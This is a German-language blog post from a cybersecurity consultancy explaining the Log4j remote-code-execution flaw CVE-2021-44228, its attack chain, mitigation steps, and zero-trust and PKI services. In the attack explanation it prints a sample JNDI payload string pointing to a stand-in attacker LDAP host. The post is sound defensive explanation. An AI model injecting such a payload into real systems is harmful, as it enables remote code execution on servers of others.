Zum Inhalt

Webinar: Melden Sie sich jetzt für unser kommendes Webinar an!

Jetzt registrieren

Minimieren Sie die Risiken der Sicherheitsanfälligkeit bezüglich Remotecodeausführung in Apache Log4j

Minimieren Sie die Risiken der Sicherheitsanfälligkeit bezüglich Remotecodeausführung in Apache Log4j

Im letzten Monat haben Sie wahrscheinlich den Log4j-Exploit in den Nachrichten gesehen. Im Dezember wurde in Apache Log4j eine kritische Sicherheitslücke (CVE-2021-44228) entdeckt, die die Remotecodeausführung ermöglicht und Millionen von Servern betraf. Cloudflare gab an, pro Stunde über 100 Versuche zu verfolgen, diese Sicherheitslücke auszunutzen. Microsoft hat beobachtet, dass die Sicherheitslücke von mehreren staatlichen Hackergruppen aus China, Nordkorea, dem Iran und der Türkei ausgenutzt wird. Auch in der letzten Dezemberwoche gab es viele Ausnutzungsversuche.

Was ist Log4j?

Apache Log4j ist eine Open-Source-Protokollierungsbibliothek, die in nahezu allen Umgebungen mit Java-Anwendungen eingesetzt wird. Dazu gehören Unternehmensanwendungen, Cloud-Dienste, Webanwendungen, E-Mail-Dienste und Open-Source-Software. Diese Bibliothek dient zum Protokollieren von Sicherheits- und Leistungsinformationen.

Was ist das Problem?

Die Sicherheitslücke nutzt JNDI-Lookups (Java Naming and Directory Interface), die in der Standardkonfiguration von Log4j zulässig sind. JNDI ist eine Java-API, mit der Clients Daten und Objekte in verschiedenen Verzeichnis- und Namensdiensten wie Lightweight Directory Access Protocol (LDAP), Domain Name System (DNS) und Remote Method Invocation (RMI) suchen.

Die API verwendet einen String als Eingabeparameter. Dieser Eingabeparameter kann von einem Remote-Angreifer ausgenutzt werden, um beliebigen Code auszuführen. Log4j bereinigt die Eingabeparameter nicht, sodass ein Angreifer einen String als Variable bereitstellen kann, mit dem eine Remote-Java-Klassendatei geladen und aufgerufen werden kann. Ein Angreifer mit der Möglichkeit, Protokollnachrichten zu steuern, kann Remote-Code ausführen, der von LDAP-Servern geladen wurde, wenn die Nachrichtensuche-Ersetzung aktiviert ist, und die vollständige Kontrolle über den betroffenen Server erlangen. Ein Angreifer kann diese Sicherheitslücke wie folgt ausnutzen:

  • Ein Angreifer erstellt eine speziell gestaltete Zeichenfolge mit der schädlichen Nutzlast und sendet sie an ein anfälliges System. Diese Zeichenfolge kann in jedes beliebige Feld des Systemprotokolls eingefügt werden, z. B.
    • User Agent
    • Benutzername
    • Gerätename oder E-Mail-Adresse
  • Die Zeichenfolge verweist auf einen vom Angreifer kontrollierten LDAP- oder DNS-Server, wie beispielsweise

    ${jndi:ldap://evil-hack.com/a}.

    Diese Zeichenfolge wird dann zur Protokollierung an Log4j gesendet

  • Das anfällige System verwendet JNDI, um den vom Angreifer kontrollierten LDAP- oder DNS-Server abzufragen.
  • Der vom Angreifer kontrollierte LDAP- oder DNS-Server antwortet mit einer Remote-Java-Klassendatei (exploit.class).
  • Die Java-Klasse wird heruntergeladen und ausgeführt.

Maßgeschneiderte Verschlüsselungsdienste

Wir bewerten, entwickeln Strategien und implementieren Verschlüsselungsstrategien und -lösungen.

Schweregrad des Problems

Die Auswirkungen des Exploits sind aufgrund der Art der Schwachstelle sehr weitreichend. Log4j wird häufig von Entwicklern verwendet. Um die Schwachstelle auszunutzen, muss ein Angreifer lediglich das Zielsystem ausnutzen, um eine speziell gestaltete Nachricht zu protokollieren. Angreifer nutzen diese Schwachstelle häufig für Krypto-Mining und andere Arten von Malware-Angriffen.

Cyberkriminelle nutzen eine neue Schwachstelle aus, bevor sie behoben ist. Im Fall von Log4j, das von Entwicklern in fast jeder Java-Anwendung so häufig verwendet wird, bietet es Cyberkriminellen ein größeres Zeitfenster, diese Schwachstelle auszunutzen, bevor das Unternehmen sein gesamtes Netzwerk und die Anwendungen im Netzwerk patchen kann.

Sicherheitsexperten warnen, dass die Schwachstelle aufgrund des Java-Packings mehrere Ebenen tief in den Anwendungen liegen könnte und von Scannern nicht leicht erkannt werden kann. Obwohl der Exploit derzeit auf Krypto-Mining abzielt, könnte er von ernsthaften Bedrohungsakteuren ausgenutzt werden, um hochrangige Ziele wie Finanzinstitute und Bundesbehörden anzugreifen. Angreifer scannen sowohl Windows- als auch Linux-Systeme auf diese Schwachstelle.

Wie kann das Risiko gemindert werden?

Eine Organisation kann die folgenden Empfehlungen befolgen, um mit dieser Sicherheitsanfälligkeit umzugehen:

  • Damit eine Organisation die betroffenen Anwendungen und Systeme identifizieren kann, müssen Scan-Tools und Skripte eingesetzt werden, um anfällige Systeme in der Umgebung zu erkennen.
  • Als Workaround kann die Klasse JndiLookup aus dem Klassenpfad entfernt werden.
  • Wenden Sie die entsprechenden Sicherheitspatches für öffentlich zugängliche Anwendungen und Systeme umgehend an.
  • Wenden Sie die entsprechenden Sicherheitspatches für interne Anwendungen und Systeme so schnell wie möglich an.
  • Überprüfen Sie die Protokolle Ihres Netzwerkperimeters auf Anzeichen einer Gefährdung.
  • Wenn Sie ein WAF verwenden, erstellen Sie spezifische Regeln für log4j.
  • Isolieren Sie die anfälligen Systeme durch Netzwerksegmentierung oder andere Mittel.
  • Überwachen Sie verdächtige Aktivitäten und achten Sie dabei besonders auf Anwendungen, die Remoteverbindungen herstellen.
  • Erwägen Sie die Implementierung einer Zero-Trust-Architektur.

Zero Trust-Architektur

Ein wichtiges Element bei allen Malware-Angriffen ist, dass der Angreifer die Anwendungen und Systeme des Unternehmens gegen das Unternehmen selbst einsetzt. Unternehmen sollten die Implementierung einer Zero-Trust-Architektur in Betracht ziehen, um sich vor ihren eigenen Anwendungen und Systemen zu schützen. Zero Trust ist ein Ansatz, der ein Unternehmen schützt, indem er implizites Vertrauen ablehnt und jede Anfrage kontinuierlich validiert. Er basiert auf dem Prinzip „Niemals vertrauen, immer überprüfen“. Jede Zugriffsanfrage wird zunächst authentifiziert, autorisiert und verschlüsselt, bevor der Zugriff auf die Ressource gewährt wird. Die Zero-Trust-Architektur basiert auf drei Grundprinzipien:

  1. Explizit überprüfen

    Authentifizieren und autorisieren Sie Anfragen immer basierend auf Benutzeridentität, Gerät, Standort, Dienst, Arbeitslast und anderen Parametern.

  2. Verwenden Sie die geringsten Berechtigungen

    Beschränken Sie den Benutzerzugriff auf die Ressourcen, die für die jeweilige Rolle erforderlich sind. Schützen Sie Daten und Systeme durch risikobasierte Richtlinien und Datenschutz.

  3. Gehen Sie von Verstößen aus und überprüfen Sie jede Aktivität

    Nutzen Sie Analysen, um Einblick in das Netzwerk, die Systeme und Anwendungen zu erhalten und die Abwehrmaßnahmen zu verbessern.

Identitäten sind zum neuen Netzwerkrand geworden, und die Überprüfung dieser Identitäten ist für die Zero-Trust-Architektur von zentraler Bedeutung. Statt einer Identifizierung anhand der IP-Adresse basiert sie auf der Überprüfung der Benutzeridentität mithilfe von Identity and Access Management (IAM), Multi-Faktor-Authentifizierung (MFA) und Public Key Cryptography (PKI).

Neben der Identitätsprüfung müssen Unternehmen auch die Geräteverifizierung mithilfe von Zertifikaten und Schlüsselpaaren sicherstellen, um ihre Sicherheit zu erhöhen. Daten müssen sowohl im Ruhezustand als auch während der Übertragung geschützt werden. Daher ist Verschlüsselung, insbesondere PKI, ein wichtiger Bestandteil der Implementierung einer Zero-Trust-Architektur. PKI ermöglicht Unternehmen die Feststellung der Maschinenidentität und verschlüsselt die Kommunikation zwischen Netzwerken. Unternehmen können PKI nutzen, um digitale Zertifikate für Benutzer, Maschinen, Webanwendungen und mobile Geräte auszustellen und so eine sichere Netzwerkauthentifizierung zu gewährleisten.

Fazit

Unternehmen müssen die Sicherheit ihrer Systeme und Anwendungen gegen solche Schwachstellen und Exploits stärken und dazu eine Zero-Trust-Architektur einführen. Die Implementierung einer PKI ist wichtig für eine Zero-Trust-Architektur und gewährleistet eine sichere Netzwerkauthentifizierung für Benutzer, Systeme und Webanwendungen. Encryption Consulting ist ein kundenorientiertes Beratungsunternehmen für Cybersicherheit, das verschiedene Kunden bei der Implementierung und Verwaltung von PKI in ihren Umgebungen unterstützt. Um zu erfahren, wie wir Ihr Unternehmen unterstützen können, besuchen Sie unsere Website unter www.encryptionconsulting.com.